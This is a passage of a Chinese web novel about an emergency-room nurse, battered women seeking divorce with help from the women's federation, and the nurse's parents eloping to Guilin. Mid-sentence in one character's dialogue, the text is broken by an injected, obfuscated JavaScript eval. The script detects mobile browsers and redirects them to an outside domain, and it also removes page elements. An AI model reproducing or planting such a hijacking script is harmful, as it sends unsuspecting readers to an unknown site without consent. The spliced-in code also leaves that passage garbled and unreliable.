周日,柳漾上大夜班,秦飞买了一只新手机去找她。上次见面,他看到柳漾用的是老款,尽管套了手机壳,没少被摔过,屏幕和边角处伤痕累累。 急诊中心随时各种突发状况,混乱吵闹。一个老人被儿子背来医院,儿子说父亲可能是低血糖昏迷,柳漾摸了一下,幸好还有脉搏,沈维和她合作测血糖,扎留置针,推高糖,再跑去接上心电监测,协助医生接待另一个患者。 秦飞进来时,有个爹爹在大喊大叫:“明明我先来的,为什么先帮他看,都是病人,都很痛!” 急诊就诊不分先后顺序,分诊护士或医生会根据患者的病情伤情,给予优先就诊,对急重症患者更是采取刻不容缓的救治,但总有那么几个人爱骂街,甚至施以拳脚。 一个矮小的男人骑着电动车驮来孕妇,后座还坐了个40岁出头的女人,怀里抱着婴儿。孕妇鼻青脸肿,问都不问就知道是被打了,男人却对科室主任徐怡翎说是摔伤,徐怡翎瞪他:“想保住孩子就说实话。” 男人这才说都怪自己没管住脾气,他借了网贷,利滚利还不上,催债的人上门警告,媳妇跟他吵架,他急怒攻心才动了手。 40岁出头的女人是孕妇的婆婆,补充说儿媳妇半天爬不起来,下身还见了红,她担心流产,赶紧送来医院。 孕妇怀有5个月身孕,她个子很娇小,面容也很年轻,徐怡翎初步判断是肋骨骨折,男人甩自己耳光,柳漾对那婆婆说:“跟我去办手续吧。” 柳漾太忙,秦飞来了半天都没跟她说上话,柳漾忽然发现他,眉头一皱,但她跟秦飞没什么可说的,径直带那婆婆去窗口缴费。 男人和母亲因为医疗费争执起来,医生说是肋骨骨折,那就是了,男人觉得不用再拍片,他听说孕妇不能拍片,也不能吃止疼药,接着怪他妈不该怂恿他们生二胎,他根本就养不起。 婆婆怀抱的婴儿已熟睡,瞪眼道:“必须保住,这胎肯定是儿子!” 男人钱不够,号称去找朋友借钱,溜之大吉,婆婆忙着跟柳漾表态:“我交的这部分钱,够保胎吧?” 柳漾毫不掩饰鄙夷之意:“查过是儿子吗?” “医院不让查。我找了几个生儿子的女的来看,都说看走路,看肚子,绝对是儿子。”婆婆很得意,回到治疗室,孕妇已疼晕过去了。 徐怡翎给孕妇上了胸带固定,先治肋骨的伤,婆婆反对,柳漾吼她:“大人活着,肚子里的伢才可能保得住!” 一屋子病人都很看不起婆婆,她看出来了,干巴巴地找补,她说媳妇在家不上班,家里全靠儿子赚钱,沈维打断她:“你儿媳妇生第一胎多大?” “18,怀这个才领了证。”婆婆说儿子和媳妇平时感情好得很,今天儿子是气糊涂了,还说儿子要养两个,压力大,不容易。 婆婆怀里的女婴醒了,哇哇大哭,柳漾哄着女婴,不接话茬。男人为什么打女人,理由万万千,说穿了就一点:他打得过。 婆婆给女婴热牛奶,不停地说话,柳漾没太听进去,荒谬地想,这女的袒护儿子到了不分是非对错的地步,若她也能做到这样,是不是就不会反对陈玉兰复婚,也就听不到那句当头棒喝?这几天,她没再和陈玉兰联系,只要想想那句“你要是儿子”,就很堵心。 秦飞找个空位坐下,不论那男人是第一次动手,还是若干次,就冲他网贷还不上,这就是无底洞,女人还会再遭殃。他爸秦刚染上赌瘾,冯鹃被打过几次,好在冯鹃泼辣,敢跟秦刚对打,虽然打不过,但没太吃亏。 当秦飞长大了些,母子俩齐心协力反击,秦刚不再动手,但死也不同意离婚,结婚对男人全是好处,他才不离。后来秦刚赌瘾大了,时常夜不归宿,冯鹃从不过问,秦刚不在家,她不晓得多松快。 女婴离开柳漾怀抱,又哭闹不休,婆婆哄了又哄,柳漾让她找个安静点的地方待着,回治疗室看孕妇,秦飞跟过去。 孕妇曹燕林醒了,病人和家属轮番教育她应该离婚,才21岁,难道要被人打到老吗,那太漫长也太痛苦了。 有个女病人恨铁不成钢:“打成这样,不痛吗?再不离婚,哪天别被打死了!” 曹燕林躺在床上,流着泪说:“总以为他会改。” 另一个女病人说:“打老婆的人,赌博的人,吸./毒的人,没一个能改的,你离婚才是最现实的。” 曹燕林哭道:“我只有1米46,又矮,又不好看,还生了孩子,离婚还有谁要我?” 一个男人吃海鲜吃到休克,沈维协助医生们把他救回来了,沈维喝口水,气哼哼:“没人要就活不下去吗?” 曹燕林说:“我17岁就跟他在一起,没上过班,没钱,是活不下去。” 沈维很暴躁:“没钱就去上班啊,上班就有钱赚!” 曹燕林嗫嚅:“我初中都没读完,找不到工作。” 沈维给吃海鲜的男病人扎抗敏针,男病人挠着痒,也劝上两句:“按摩院的盲人也能自食其力,你有手有脚,找个超市收银也能赚到钱。” “我想过,可那点工资养不活我姑娘,还有我肚子里这个。”曹燕林知道众人都瞧不起她,闭上眼睛,不说话了。 柳漾给曹燕林换了一袋点滴,擦拭她嘴角的伤。在急诊中心工作以来,她见过不少这样的女人,路人们对她们的劝告也都差不多,但说了就跟没说一样。她们总在自怨自艾命太苦,嫁错了人,曹燕林比那些人都略强一点,因为她“想过”去找工作。 以那男人的情况,孩子跟着妈会更好,但21岁的单亲妈妈,仅凭收银员工资的确不够。她如何从那个家庭里逃走,逃走以后怎么讨生活,都是难题。柳漾叹息,转身对上秦飞的眼睛,她没理会。 男病人爱开玩笑,问沈维他下次吃海鲜是不是旁边准备一盒开瑞坦就可以,柳漾听得扑哧一笑,脸色缓和了些,忙完手上的事,对秦飞说:“出去说吧。” 秦飞从背包里摸出新手机,递上,柳漾不接:“什么意思?” 秦飞说:“要不是你把我拉开,受伤的是我,我过意不去。” 柳漾摆出一副跟他很不熟的样子:“我只顾着把面前的人扒拉开,没看是谁。” 秦飞坚持要送:“我 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上个月,一个小男孩调皮摔伤了,手腕骨折,今天他被妈妈带来医院,送来亲手画的卡片,柳漾拍了这张照片:“这样的礼物就够了。” 秦飞呼出一口气,他可不会画画。这时救护车又送来一个患者,生产车间机器出了故障,患者左手中指末节指骨断了一半,疼得满脸血汗,柳漾跑向他。 秦飞走进治疗室,孕妇曹燕林又疼起来,不住地低哼。有个女病人给她剥个橘子吃,问她有没有父兄,被打成这样,娘家人不能不管,曹燕林说:“收彩礼的时候,我爸警告李申不准欺负我,他们会为我撑腰。李申打我,开始几次我忍了,我以为别家也一样,因为我爸也打我妈,我哥也打我嫂子。有次李申打得太重,我受不了,跑回家,李申跑去要人,直接踹门,我爸骂了他两句,让他把我领回去了,我不想再回去,可我妈说,我是李家的人了。” 女病人很生气:“你首先是他们的姑娘。” 曹燕林苦笑:“出嫁了,好像就没有娘家了。下次再跑回去,我爸和我哥都骂我不能动不动就往娘家跑。那时候我和李申还没领证,我说想出去打工,赚钱把彩礼退回去,我妈说我心太窄了,气性大,还说我肯定也有做得不对的地方,我说我什么都没做,李申就无缘无故打我,只要不顺心就打我,我真的待不下去了……” 曹燕林哭了,隔了一会儿才说:“我找村里人带我出去打工,结果我爸甩我巴掌,他说我跑了,李申带着人上门,三天两头要人,他们怎么办?他们都说我太自私,辛辛苦苦把我养大,我不报恩就算了,还连累家里人,太不孝顺了。” 闻者都责骂曹家人不疼女儿,曹燕林说:“我再往家里跑,还没进屋,我爸就打电话让李申把我领走,我知道他们怕我赖在家里,怕对我负责任……” 曹燕林泣不成声,脸侧向一边。秦飞在她面前坐下来,握住她的手。别人都说,第一次被打的时候,她就该跑,她是逃跑过,但连娘家人都不为她出头,她还能跑去哪里,敢去哪里? 曹燕林睁开眼,问:“你是谁?” 秦飞说:“家属。” 曹燕林说:“谢谢你。” “其实,不用担心离婚找不到别人,说不定还能找到更好的。”秦飞给她看手机里的照片,“这是我妈,这是我亲爸,这是我后爸。我后爸是我妈四十多岁找的。” 曹燕林笑了笑:“你后爸年轻时肯定很帅。” 秦飞又说:“我亲爸吃喝嫖赌,我后爸在世界品牌500强公司当工程师,工资高,还都交给我妈。” 空调品牌是大企业,秦飞倒也没说假话,而且比起秦刚,他很明白冯鹃为何对柳志华满怀留恋。 曹燕林喃喃道:“你妈运气真好。” 人没办法在蒙着头的时候做出选择和行动,她需要有人告诉她别怕,更需要得到切实的帮助,秦飞说:“我看是缘分到了,所以说,感情这个事是说不清楚的。你不要怕离婚没钱活不下去,护士一开始也不会打针,医生也不会接生,不都是学了才会的吗?” 曹燕林小声说:“我书读得少,总怕学得慢,还怕养不起姑娘和肚子里这个。” 一个女家属说:“现在月嫂吃香,收入也高,你带伢比一般人有经验吧。” 又有女人插话:“再不行就去做家政,手脚勤快点,打扫卫生一个小时也有几十块,一天多做几家,吃住的钱就赚出来了。” 曹燕林问:“我没学历,他们也愿意招工吗?” “勤快肯吃苦就行!”有人说,“我家钟点工连小学都没毕业,做事麻利又干净,去年把女儿供到读大学了。” 曹燕林眼睛一亮,秦飞笑了,这个女人是可以救的。他好友阿豹的媳妇乔蓝有个远房表姐在妇联工作,阿豹和乔蓝的婚礼上,秦飞和表姐程惠敏见过面。也许对方能帮曹燕林找到肯义务帮她解除婚姻的律师,他加了曹燕林的微信:“等我找人联系你。” 断指工人疼晕过去,医生们紧急协商如何帮他把断指钉上去,但末节血管太细,成活率不会很高,柳漾默然回到治疗室,秦飞正跟曹燕林说:“记得啊,指望男人改邪归正,不如指望自己,你能赚到钱,就不慌了。” 冯鹃仍想继续错误的婚姻,他拉不回来,若能帮到这陌生的女人,心里多少好过一点。人生在世,会有很多恐惧和迷茫,但谁离开谁不能活,何苦再稀里糊涂鼻青脸肿地混人生。 9. 第 9 章 早上交班后,路过手机店,柳漾买了一只新手机。她对手机要求不高,能接打电话、上网就行。 手机没送出去,秦飞丢给冯鹃,扯谎说是客户送的。他工作时每天都跟手机打交道,冯鹃相信了,但这手机太高端,不如拿去便宜点卖了:“查下网上卖多少钱,我便宜个两百块卖出去。” 秦飞说:“你自己用。” 冯鹃说:“我每天吃了睡,睡了忙,利用率不高。” 秦飞退掉手机,到了工作时间,他联系阿豹媳妇的表姐程惠敏,程惠敏的第一反应是:“她想离婚吗?” 秦飞费解:“都这样还不离婚吗?” 程惠敏说:“向我们妇联求助的大部分女人都不想离婚,而是希望我们能帮她教育她老公不打她。只要不打她,她们就能一直待在家里,洗衣服做饭生伢带伢。” 身体健康的人都有谋生的能力,但有些人太害怕到社会上参与竞争。秦飞说:“曹燕林有工作的意愿。” “那就好。”妇联有免费法律咨询服务,但秦飞是表妹夫的好友,程惠敏找了一位同事联系曹燕林,她们建议曹燕林找医生开具就诊证明,并且报警,在派出所留下备案记录,这样在起诉离婚是有力证据。 秦飞有点担心曹燕林报警会引来她丈夫再次毒打,但是不报警也被打,只能破釜沉舟,但愿她能有逃离的勇气。 昨天在医院时,秦飞问到柳漾手机号,加上了微信,向她汇报情况,柳漾回道:“她男人说去借钱,再没回来。” 秦飞真的在为萍水相逢的女人谋出路,不是说说而已,柳漾刮目相看,但不认为会有结果。 工作以外的时间,柳漾都用在备考上,再没回过娘家。张玢经常能吃到可口的家常菜,脸色好了些许,但明里暗里仍在催生,柳漾直言不讳:“我是为我自己生孩子,不是给你生孙子。想什么时候生,是我和东哥的事。” 陈玉兰偶尔会发来一篇养生类文章,柳漾发个笑脸,再未有别的交流,母女俩就这么僵着,互相不服软。 赵东南惦着买房,又是揽业务,又是做活动,比以往忙了,到家和柳漾说说话,腻上片刻,是他一天中最放松的时候,夫妻俩的感情比热恋时还好。赵捷成背地里教育张玢:“小两口感情好,有些话你不要多说,他们自己有数。” 柳漾婚后过得前所未有的顺心,她弟弟柳俊杰却不妙了。昔日好友出卖了他,跟他打架的段文轩编了顺口溜嘲笑他:“卖藕汤,炒花饭,家里出个抢劫犯。” 秦刚是冯鹃的前夫,不关柳俊杰的事,但所有同学都以为修空调的爸当过抢劫犯,越发孤立他,连徐启航都问过。柳俊杰欲哭无泪:“那是我哥的爸,不是我爸,我没见过他。” 接二连三的嘲讽压下来,柳俊杰变得忧郁,不爱说话,有一天放学回家,家里坐着他爸最好的朋友夏国清。 夏国清是柳志华的战友,柳俊杰在他们的聚会上见过他。夏国清送过一套乐高玩具,柳俊杰很喜欢,到现在还爱玩。 夏国清是湖南人,从浏阳赶来做客,送给柳俊杰一只手机,柳志华很不安:“让你过来就是聚一聚,哪能破费?” 夏国清哈哈笑:“嫂子烧菜好吃,光是这一桌菜,就值得来一趟。现在高铁快,不比以前,说来就来了,可惜都忙,总聚不上。” 柳俊杰跟夏国清一起玩游戏,半夜夏国清才回酒店休息。第二天早上,柳俊杰眼巴巴等着夏叔叔再来,柳志华却说他工作忙,在回湖南的路上了。柳俊杰问:“所以夏叔叔是专门来看你吗?” 柳志华说:“看你不高兴,我就找个能让你高兴的朋友陪你玩,而且我也想跟他见个面。” 柳俊杰高兴道:“等我放暑假,你找个星期六,我们去湖南看夏叔叔!” 秦飞看柳志华一眼,柳志华不接他的眼神。按柳志华的计划,等到柳俊杰放暑假,他就结束和冯鹃的婚姻,但现下冯鹃和柳俊杰都被蒙在鼓里,冯鹃还跟秦飞夸海口,说做人该争取时要争取,柳志华反复提离婚又怎样,她坚持不离,柳志华不也收心了。 秦飞说:“他要是哪天再提呢?” “哪里有反抗,哪里就有压迫!”冯鹃用花椒和干辣椒炝锅炒花菜,嗤啦一声响。她把柳志华所有证件都扣下了,柳志华不能单方面离婚,更不可能跟陈玉兰领结婚证。 就算柳志华撕破脸,起诉离婚,也不是一时半会的事,冯鹃在网上查过。起诉离婚需要时间,她立誓用这时间再让柳志华打消念头。哪对夫妻不吵架,哪家离婚不闹翻天,大多数不也黏黏糊糊,拖一天过一天吗?生活里特别干脆决断的人是极少数,柳志华不是那样的人,她清楚得很。 柳志华跟儿子聊起夏国清,夏国清当兵复员后,落实在老家的花炮厂,中间有些年花炮厂效益不好,夏国清下了岗,找了个车行修车,还干过出租车司机。 去年,夏国清被一家礼炮厂高新聘去当总工程师,柳志华教育柳俊杰,人生就是这样起起落落,即使钻到车子底下弄得浑身黑污,也不能被别人的嘲笑打倒,保持信念,咬紧牙关过日子,总有翻身的一天。 柳俊杰一知半解:“爸爸在劝我不要在意别人说什么。” 柳志华问:“做不做得到?” “但是夏叔叔没有抢劫。”柳俊杰仍然很低落,秦飞站在阳台上不说话。冯鹃嫌自己身上油烟气太重,在阳台养了各种香花,他摘了十几朵新鲜的栀子花,想送给蒋馨月。 夏国清买给柳俊杰的是最普通的老人手机,免得他上课玩游戏,柳俊杰在通讯录里输入爸妈和哥哥的手机号,秦飞递他一瓶可乐:“那是我爸,不是你爸,我爸捅了人,我在学校也受过歧视,但我也考上大学了。你考出好成绩,才能让他们闭嘴,懂吗?” 柳俊杰哦了一声,闷头做作业。秦飞出门,路上接到妇联程惠敏的电话。孕妇曹燕林行动不方便,妇联工作人员趁她婆婆出去买菜,丈夫躲债不在家的时候,才上门去了解她的具体情况,不料婆婆提前回来了。 婆婆当着律师的面客客气气,门一关就喊回了儿子。曹燕林被丈夫打得流产,又被送去617医院。孩子没保住,她哭了,然后笑了,抚养一个孩子对她可能略微容易点。 死去的胎儿已能看到性别,是女孩。婆婆和丈夫不怪曹燕林了,婆婆还买来鸡汤,给她补补身子,以后再生个大胖小子。 柳漾冷眼旁观,等婆婆去上厕所,她问曹燕林:“怎么想的?” 曹燕林怯怯说:“律师说我能打赢官司,我想通了,只要姑娘归我,我就离。程姐说会帮我安排工作,让我自食其力。柳姐,你说我能胜任吗?我以前没上过班,初中都没读完。” “有的残疾人还看不见呢,做按摩也赚到钱了。”柳漾本想把曹燕林的近况跟秦飞说一下,但妇联的人是他找的,他肯定知道。她把手机揣进兜里,给一个快递小哥抽血。 快递小哥抽血发现严重肝损,医生建议化验看看具体情况,同时保肝处理,小哥不干:“我就是来看个咳嗽。” 医生说:“这不是小毛病,早治早好。” 小哥说:“先赚钱,赚钱治病。” 看不起病的太多了,但仅凭一己之力,救不过来。柳漾叹气,在急诊中心,她一天不知要叹多少气。 一周后,秦飞向柳漾通报曹燕林近况,在妇联的帮助下,曹燕林已起诉离婚,妇联安排她带着女儿搬进制衣厂宿舍,同屋的几个女工都有点小残疾,轮流帮她替个手。 制衣厂的销路不错,曹燕林目前的工作只是最简单的剪线头,妇联想等她情绪稳定下来,度过适应期,再让她接受培训,获得收入。 柳漾没回秦飞的信息,看过就算,心里很安慰。据说十个离婚案子里,至少有一半当事人扔下律师继续过日子,连她妈都是,宁可和女儿翻脸,也要和出过轨的前夫复婚,但曹燕林再胆怯,也迈出了勇敢的一步。 期末考试,柳俊杰最拿手的数学考砸了,交卷铃声响起,他最后一道大题还是没做出来,沮丧得快哭了,他说段文轩等人笑他考得再好也没用,将来照样会当抢劫犯。 冯鹃抄起锅铲,骂着婊./子养的,要去揍段文轩,被秦飞拉住了。听说柳志华拿夏国清的经历教育柳俊杰,冯鹃啐一口:“教育反了!” 冯鹃拉着柳俊杰去小区门口,隔了一点距离,她指着守门的李师傅说:“他以前在武钢当工程师,你看不出来吧?我年轻时,武钢是有名的好单位,有多好呢,吃的穿的都是厂里发放,逢年过节,他们排队领鸡鸭鱼肉,队伍要从青山排到我家。” 柳俊杰惊叹:“那么好啊?” 冯鹃说:“天气热,厂里怕工人中暑,还专门开个工厂生产汽水,平时上班随便喝,下班还一箱一箱往家里搬。现在也没几个单位有这么好的待遇吧?” 这一点对柳俊杰有莫大的吸引力:“敞开喝啊?” “想喝多少喝多少。李师傅那时候就跟段文轩一样横着走,结果呢,还不是下了岗,跑来看大门。段文轩家里再有钱,未必能一生都有钱,以后当抢劫犯的指不定是哪个。”冯鹃摸摸柳俊杰的头,“你爸爸妈妈都是凭本事吃饭,穷是穷了点,但是杰杰争气,以后也能敞开喝汽水。” 冯鹃的精神胜利法对柳俊杰更有效,柳俊杰使劲点头,回家对秦飞说:“抢劫犯是你爸,你受的欺负肯定比我多。” 秦飞爆句粗口:“你听进去了,你就中计了,你越考得好,他们越气。你想啊,你在游戏里打不过别人,你才骂人,他们也一样。” “懂了!”柳俊杰跑去复习语文,夜里柳志华回家,他还没睡,一双眼睛亮亮的,“爸爸,我把语文和英语都考好,总分就扯回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563464|171426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!” 柳俊杰考完试,秦飞去学校接他,特地堵住段文轩,对他晃拳头,凶神恶煞:“抢劫犯是我爸,进去了,我妈才改嫁,跟别人生了柳俊杰,听懂了吗?再敢讲柳俊杰的坏话,莫怪我打你。反正我爸进去了,我也不怕进去。” 段文轩求饶,秦飞塞给他一只扩音喇叭:“给柳俊杰道歉。” 秦飞初见柳漾,她手上拎着扩音喇叭,给他留下印象,他来个照猫画虎,抓着段文轩的手按开开关:“道歉。” 段文轩大哭道:“柳俊杰,我再也不打你,不骂你,也不惹你了!” 柳俊杰拿到暑假作业,背着书包跑来,夺过扩音喇叭说:“你没打赢过我,你以多打少,段文轩,你不要脸,不要脸,不要脸——” 柳俊杰怒吼,秦飞乐坏了:“傻子,这个有录音功能,不用扯着嗓子喊那么多遍。” 柳俊杰喊出来,畅快了,请他哥吃贵的冰淇淋。他这次数学没考好,前面有四个同学超过他,但语文发挥得比较好,总分估计还可以。 兄弟俩吃着冰淇淋回了家,隔了几天,柳俊杰回学校拿到分数,总分在班里排第八,主要是英语有点拖后腿。冯鹃盘算等柳志华半年奖到手,给柳俊杰报个补习班,班里的同学都报了班,明年就小升初了,不开小灶不行。 柳志华说公司效益不好,半年奖可能发不出来,冯鹃眼睛一瞪:“今年热,四月底就有人用空调,你每天半夜才回来,效益不好?骗鬼!” “工资卡都在你那里,你都存着了,杰杰补习就用卡里的钱。”柳志华让冯鹃不要指望半年奖,而且以后也不要指望他,他离婚离定了,往后给不了她什么了。 冯鹃一听就炸了,对他又掐又打,但柳俊杰打完电动回来,她脸一抹,笑眯眯问儿子想吃什么,考进前十名,必须犒劳。 柳志华出门去买柳俊杰想吃的炸鸡和海鲜,还批了一箱可乐,秦飞也被喊回来吃饭,他拎着红丝绒蛋糕进屋,博得柳俊杰和冯鹃齐声喝彩。冯鹃50岁生日时,秦飞订了这家蛋糕,一家人都赞不绝口。 两天后,秦飞给柳漾打去电话。柳漾吃完午饭就睡下了,被电话吵醒,迷迷糊糊地按掉了,但铃声马上又响起来,她接起:“烦不烦啊?” 秦飞通报了坏消息,柳志华和陈玉兰双双辞职,不告而别。柳漾脑子一懵:“辞职了?” 秦飞说:“我妈说这叫私奔。” 冯鹃迟迟拿不到柳志华的半年奖,她怀疑公司已经发放了,但被柳志华拿给陈玉兰了,打电话去公司问,得知柳志华居然办了辞职手续,三天前就没去上班了。他同事还说:“老柳女儿嫁去外地了,他和他老婆跟去享福,但是证件丢了,找单位打了证明,你不是他老婆吗?” 冯鹃大怒,打电话质问柳志华,刚逼问他为什么辞职,柳志华就挂电话了,再打,他不接了。冯鹃发的信息,他也不回,再打电话,他关机了。 冯鹃火冒三丈,杀到陈玉兰家,大门紧锁,找去货运公司一问,陈玉兰的同事也说她辞职了,冯鹃找他们要了陈玉兰的手机号,也是关机。 柳漾拨打陈玉兰的手机,果然传来关机的语音提示。这之前,陈玉兰平平静静,隔三差五就转发几篇文章让她看,没有透露半个字。 柳漾回家找她妈,家里收拾得很干净,拉开衣柜,少了几件衣服,鞋柜里,陈玉兰常穿的鞋不见了。柳漾在自己卧室的枕头上找到陈玉兰留的字条:“我和你爸旅游散心去了,你和东南好好过日子,勿念。” 父母把所有人都瞒得严严实实,一走了之,冯鹃不答应离婚,两人难不成私奔到天涯海角,永不归来?柳漾在床上坐了一阵,打开台式电脑,购买火车票的网站是她帮陈玉兰注册的,她知道密码。 陈玉兰购买了上午从武昌开出去桂林的火车票,全程11个多小时,她买的是硬座,此时身在火车上。柳志华老家在团风县,陈玉兰家在新洲区,都在武汉市区边上,柳漾不明白两人私奔为什么会去桂林,她回忆她爸妈是否有广西籍的熟人,但想不起来。 秦飞再打来电话,柳漾说:“我妈留字条说他们旅游去了。” 秦飞问:“去哪里了?” “她没说。”陈玉兰闷声不响地走了,是不想再听到任何反对声吧,柳漾攥紧字条,她没什么好说的了。 结婚前一天晚上,陈玉兰说:“你出嫁了,就是别人家的人了,以后我和你爸不会给你添麻烦。” 什么叫别人家的人?柳漾很不爱听,但母女之间很少有那样深入长谈的时刻,她忍了。此时回想起来,其实陈玉兰早就一次次为女儿做过心理建设了,她反复说过,女儿结婚有小家庭了,妈妈就该淡出了。 秦飞着急道:“现在怎么办?” 柳漾气呼呼:“不管他们了,老子要是再管他们,老子就是贱死的。” 10. 第 10 章 柳漾的大夜班又是个不眠夜,刚把手术病人推出来,转头又接了几个大热天关着门窗吃炭炉火锅,导致一氧化碳中毒的,还有钻到别人车底下碰瓷,结果被轧断腿的。刚点上外卖,120又送来一车人,中学生放了暑假,打架亮了刀,连警察也被他们划了几刀。 柳漾为警察们包扎,病人们都很惊讶,几个警察居然被小年轻偷袭了。警察却说最不怕事的就是小年轻,都还没入社会,不知深浅,血气又旺,一发狠就不要命,下手没轻重,比街面上的老混子还麻烦。 柳漾晚餐点的牛肉粉被汤汁泡得不像样,端起来正准备吃,几个男孩跑进来,嚷嚷马路对面出大事了。 柳漾和宋青推着单车跑去拉人,一到现场,所有人都倒吸一口凉气。小面包车行驶路上突发爆炸,车上三人的状况十分惨烈,其中还包括一个目测全身烧伤面积高达85%的小男孩。 柳漾忙着通知医生赶来医院急救,回留观病房巡视,有个婆婆不乖,意识不清烦躁不耐管,老扯心电监护,护士们防不胜防,但婆婆没法沟通,柳漾只好给她双手绑上绑缚带。 烧伤的小男孩还在抢救,他妈妈赶来医院,大哭着求医生们救她儿子。柳漾教她用挂号缴费机,看到她手机屏幕是儿子的照片,长睫毛,大眼睛,白白净净,非常可爱。当妈妈的泪如雨下,哭得柳漾鼻子也酸了,那孩子从面包车里被抬出来的时候,像一截焦炭。 深夜12点,电动车载来一个十来岁的少女,她被继父拿铁衣架打得两条腿都流血,躲的时候滑了一跤,右手手掌被茶几上的水果刀扎穿了。少女的妈妈送她来急救,但是拿不出钱来。 少女在做手术,妈妈求爷爷告奶奶打电话,但都被拒绝,沈维问:“你一分钱积蓄都没有吗?” 女人嗫嚅说:“我是家庭主妇。” 柳漾问:“她爸爸呢,我是说亲爸。” 女人说:“我家姑娘四岁,我们就离婚了,再没联系了,他在外地打工,也没钱。” 沈维盯住女人:“姑娘伤成这样,你现在的这个男人要负法律责任,你必须找到他,让他过来付钱。” 女人瑟缩了一下:“我找,尽量找,你们别报警。” 有个患儿还不到一岁,发了高烧,哭闹不停,柳漾协助宋青稳住患儿,几个人一起哄着,才完成输液。再去看少女的妈妈,还在无助地打着电话,沈维气得七窍生烟,柳漾把她拉走,不走可能就破口大骂了。 少女的后背被皮带抽出一道一道血痕,而且不是新伤,她不是第一次被继父打,她妈没看见吗,但看见也不离婚,甚至担心男人会入狱。柳漾扭头看她,她不心疼女儿吗,也是心疼的,但不能跟“嫁汉嫁汉,穿衣吃饭”相提并论。 沈维说:“真该让她跟曹燕林学学,人家怀着孕也要离婚。” 一个心梗病人喊难受,科室主任徐怡翎拿出听诊器听了听,再看看输液速度:“等下再做个心电图,测一下血糖。”然后跟沈维说,“妇联扶贫跟我们差不多,医生医的是有生还希望的人,扶贫也是给人希望,曹燕林知道有人肯帮她,她能养活自己,就挣脱了,那个女的……” 徐怡翎摇摇头,没说下去。柳漾把病人的输液速度调低一点,妇联能帮一个是一个,她和同事们能救一个是一个,但那女人眼睁睁看着女儿被人毒打成这样,首先关心的仍是丈夫还能不能继续养着她,她是没救的。 上次见面,柳漾劝过陈玉兰:“你要是怕老了没人说话,就再去找个老伴,我帮你留意,起码没以前那些恶心事。” 陈玉兰说:“刚跟你爸离婚时,就有人给我介绍过。老光棍我不敢接触,怕有什么心理疾病,离过婚丧偶的,多半拖儿带女,带姑娘的,我怕他要求我再生个儿子,带儿子的,我怕他们对你不好,欺负你,我那时候没找,现在也不会找。” 就在同一天,柳漾被她妈说的那句“你要是儿子”伤害了,但比起手术台上的少女,她从小到大,都很明白她妈爱她。 桂林。柳漾脑中蓦然跳出这两个字。爸妈看到漓江了吗?她拿起手机又放下,她生她妈的气,她妈也生她的气,才会连句道别都不说吧。 少女被推出手术室,人还没醒,刘医生疲惫又欣慰:“手能保住了。” 柳漾帮少女擦脸,陈玉兰不肯再婚,就是害怕女儿会遭受少女这样的委屈吧。走出病房,柳漾终于放下负气,拨打陈玉兰的手机,但仍是关机提示音,柳志华在她旁边,她不再理会世界了。 一个出租车司机跑进来,喊道:“有人喝醉了,快来!” 同事们推着担架车去拉人,柳漾也跟去,把自己的心硬了又硬,不再去想她妈。她妈和她爸在一起,很安全,如今伤脑筋的是冯鹃。 冯鹃夜不能寐,柳志华把半年奖拿去跟前妻鬼混,却不肯给儿子交补习班费用,她只想烧一锅热油浇到那两人头上。 秦飞帮冯鹃收摊回家,柳俊杰在玩网游,问爸爸怎么还没回来,秦飞支吾说老柳出差去了,柳俊杰很奇怪:“外地空调也要他去修吗,加上路费,划不来。” 冯鹃说:“他水平高,给外地维修人员做培训去了。” 柳俊杰眼巴巴:“那他哪天回来,我想和他去湖南看夏叔叔。” 冯鹃无法回答,白天她找遍了柳志华的亲朋好友,没人知道他在哪里。她都不好问得太明显,柳志华和她在一起,那些人都劝过他,她不想听到他们都一副“果然如此”的口吻。 柳俊杰不是三岁小孩,不好糊弄,如果柳志华一天天不开机,不回信息,家里没人经得起他追问。等柳俊杰去洗澡,冯鹃问秦飞:“怎么办?” 大桥那次长谈后,他确定柳志华会离开这个家庭,但没想到他会如此决然。他连他赖以生存的工作都辞了。不过可能这正是柳志华的自信之处,以他的技术,旅游回来,再找家公司轻而易举。 冯鹃一筹莫展,想骂柳志华不负责任都不行,因为自己才是他曾经不负责任的证明。离婚再复婚有阻力,他索性抛开一切,工作,儿子,都不要了,带着那女人浪迹天涯去了。冯鹃一生从没这样愤怒过,但是闹钟准时响起,她准时骑着三轮车去批发市场。柳志华走得坚决,还沉得住气,不透露半个字,短时间她拽不回他,但柳志华的证件全都在她这里,不可能长年累月在外边。 柳志华没太多钱放任,那女人也没有,他迟早得回来。冯鹃把三轮车蹬得飞快,她就守着这摊子,养着他儿子,看谁犟得过谁。 柳漾填写交班报告,路人送来一个女人。女人在私企上班,送完孩子上学,再赶去上班,下了公交车往公司跑,被前同事打了,整个右眼眼周组织破碎,眼球玻璃体整个脱落。医生们暂时都腾不出手来,女人疼得死去活来,把柳漾的胳膊抓到变形,沈维给她注射了吗啡。 女人是公司的人事经理,对方没拿到全勤奖,怒打统计考勤的前台,他业绩一向不行,女人辞退了他。男人丢了饭碗,报复了女人,路人报了警。 女人的丈夫和老板前后脚赶来,在急诊中心大吵。公司是私企,老板不肯承担太多,女人的丈夫和他大打出手,被保安拉开,柳漾请他们出去说话,被那老板狠狠推了一下,膝盖磕到墙上。 电信公司对光缆进行迁移割接调整,赵东南忙了一个通宵,吃完早饭才回来,看到柳漾腿上的淤青,转身去拿毛巾给她做热敷。柳漾担心陈玉兰,赵东南安慰说桂林风景好,这季节去那里就当避暑,冯鹃再生气,总不至于找柳漾出气,她敢找柳漾,他就去掀了冯鹃的摊。 他哪像能干出这种事的人,柳漾笑道:“只要你不跟你妈说这件事,我就什么都不愁。” “不说。跟她一说,她又来烦你,最后还不是烦我?”两人都困倦,定了闹钟相拥而眠。 